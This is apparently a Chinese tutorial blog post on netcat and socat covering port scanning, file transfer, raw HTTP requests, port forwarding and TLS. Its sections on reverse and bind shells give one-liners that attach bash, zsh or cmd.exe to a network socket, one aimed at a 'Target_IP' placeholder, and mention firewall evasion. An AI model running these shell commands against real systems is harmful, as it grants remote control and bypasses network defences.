linux小工具

-
-
2025-02-13

nc

netcat,(看看网络)一个知名的网络测试实用小工具。

> nc --help
-c shell commands shell模式
-e filename 程序重定向,接连接后执行的程序名
-b 允许广播
-g gateway 源路由跳跃点, 不超过8
-G num 源路由指示器: 4, 8, 12, ...
-h 获取帮助信息
-i secs 延时设置,端口扫描时使用
-k 设置在socket上的存活选项
-l 监听模式
-n 不使用dns,仅数字IP
-o file 使进制记录
-p port 指定端口
-r 随机本地和远程的端口
-q secs 在标准输入且延迟后退出
-s addr 本地源地址
-T tos 设置服务类型
-t 以TELNET的形式应答入站请求
-u UDP模式
-v 显示详细信息(使用-vv获取更详细的信息)
-w secs 连接超时设置
-C 发送CRLF作为行结束
-z 零I/O模式,仅报告连接状态,不进行交互 [扫描时使用]
  -c, --close                在标准输入关闭时关闭连接
  -e, --exec=PROGRAM         执行程序,把nc的输入输出与程序的输入输出连接
  -g, --gateway=LIST         源路由跳点数,最多8个
  -G, --pointer=NUM          源路由指针
  -h, --help                 显示帮助
  -i, --interval=SECS        发送行或扫描端口的间隔时间(秒)
  -l, --listen               监听模式,用于入站连接
  -L, --tunnel=ADDRESS:PORT  将本地端口转发到远程地址
  -n, --dont-resolve         不使用DNS,仅使用ip地址
  -o, --output=FILE          输出十六进制流量到文件(包括-x)
  -p, --local-port=NUM       本地端口号
  -r, --randomize            随机本地和远程端口
  -s, --source=ADDRESS       本地源地址(IP或主机名)
  -t, --tcp                  TCP模式(默认)
  -T, --telnet               使用TELNET协商应答
  -u, --udp                  UDP模式
  -v, --verbose              显示调试信息,vv则是详细信息
  -V, --version              输出版本信息
  -x, --hexdump              十六进制转储流量
  -w, --wait=SECS            连接和最终读取的超时时间
  -z, --zero                 0I/O模式,不产生交互,用于扫描端口

经典用法:

扫描端口

#命令格式 -n 以数字形式表示的IP地址 -v 显示详细信息 -z 不进行交互
nc -nvz ip port
❯ nc -nvz 127.0.0.1 80
127.0.0.1 80 (http): ????? ## 没开放
❯ nc -nvz 127.0.0.1 1-100
127.0.0.1 53 (domain) open ## 开放

通过网络传递信息/文件

# 你只需要在一台机器上监听一个端口,即可收发信息。当然在本机也可以。 -l 监听模式 -p 指定端口 lp有顺序
❯ nc -lp 65535
# 在另一个终端
❯ nc -n 127.0.0.1 65535
# 两个终端即可收发消息,任意终端键入任意字符回车,两个终端都会显示
❯ nc -lp 65535
hello
hey

当然也可以传输文件

首先你要搞懂重定向,可以看看这个shell

# 接收端 
❯ nc -lp 65535 > o

# 发送端  -n 不解析dns -c 发送到终止符后自动终止 和Ctrl+C一样                                                                                                                                                                                                                
❯ nc -nc 127.0.0.1 65535 < i
❯ cat i
Hey

# 查看文件
❯ cat o
Hey

# 当然也可以连接tar 可以选择-x、-o使用十六进制模式
# 压缩并发送目录
❯ tar cfz - * | nc 127.0.0.1 65535
# 接收并自动解压
❯ nc -l 65535 | tar xfvz -

测试网络请求

最简单的是测试http请求,当然你也可以试试其他的

❯ nc cip.cc 80
# 直接输入标准的http1.1请求头,即可得到回应。nc默认是慢模式,所以你可以一个字一个字的敲。
GET / HTTP/1.1
Host: cip.cc
# 不同网站实现可能不同,cip回应ua是curl是一个简略的ip信息而不是html
User-Agent: curl


HTTP/1.1 200 OK
Server: openresty
Date: Thu, 13 Feb 2025 03:04:35 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-cip-c: M

c5
IP      : 223.160.xx.xx
地址    : 中国  北京
运营商  : chinabtn.com

URL     : http://www.cip.cc/223.160.xx.xx
0
# 可以继续交互,Ctrl+C终止
^C%  

反弹shell

你可以使用-e接/bin/zsh,nc会把他的输入输出和zsh连接,言外之意你可以通过nc远程使用shell,当然也可以是任何程序。

这种方法有时候用于通过防火墙,正向无法连接时可以考虑反向连接。

# 服务端
❯ nc -e /usr/bin/zsh -lp 65535
# 客户端
❯ nc -n 127.0.0.1 65535
hostname
archlinux

# 有趣的是nc可以传递光标控制符号,但只是在服务端移动,这没什么用。

socat

socat(socket cat,看看套接字)比nc更高级一点,支持tls加密、fork进程等操作。

 

像nc一样使用

socat TCP-LISTEN:65535 -
# 等同于 nc -lp 65535 

socat - TCP:127.0.0.1:65535
# 等同于 nc 127.0.0.1 65535 

端口转发

TCP/UDP

socat -dd -lf /tmp/socat.log TCP4-LISTEN:4444,bind=127.0.0.1,reuseaddr,fork TCP4:120.117.130.202:80
# -dd 代表调试等级,等同于nc -vv
# -lf /tmp/socat.log 指定输出文件
# TCP4-LISTEN:4444 TCP方式监听本机端口(入站)
# bind 指定监听的IP地址,不指定即监听全部地址
# reuseaddr 允许重用本地地址和端口。不使用reuseaddr选项,系统会保持一段时间端口占用,以确保传输完成。
# fork TCP4:192.168.1.1:80 转发的目标地址

反弹shell

# 和nc的-e一致
❯ socat TCP:127.0.0.1:65535 exec:"/bin/bash -li"
❯ socat tcp-l:65535,fork exec:"/bin/zsh" # fork创建新进程


# windows
❯ socat TCP:Target_IP:8000 EXEC:'cmd.exe',pipes

带有tls

# 服务器 
socat openssl-listen:5000,reuseaddr,cert=server.pem,cafile=server.crt,verify=0,openssl-min-proto-version=TLS1.3 STDIO
# 客户端
socat stdio openssl-connect:localhost:5000,cert=server.pem,cafile=server.crt,verify=0,openssl-min-proto-version=TLS1.3

 

参考

socat 常用用法

“您的支持是我持续分享的动力”

微信收款码
微信
支付宝收款码
支付宝

目录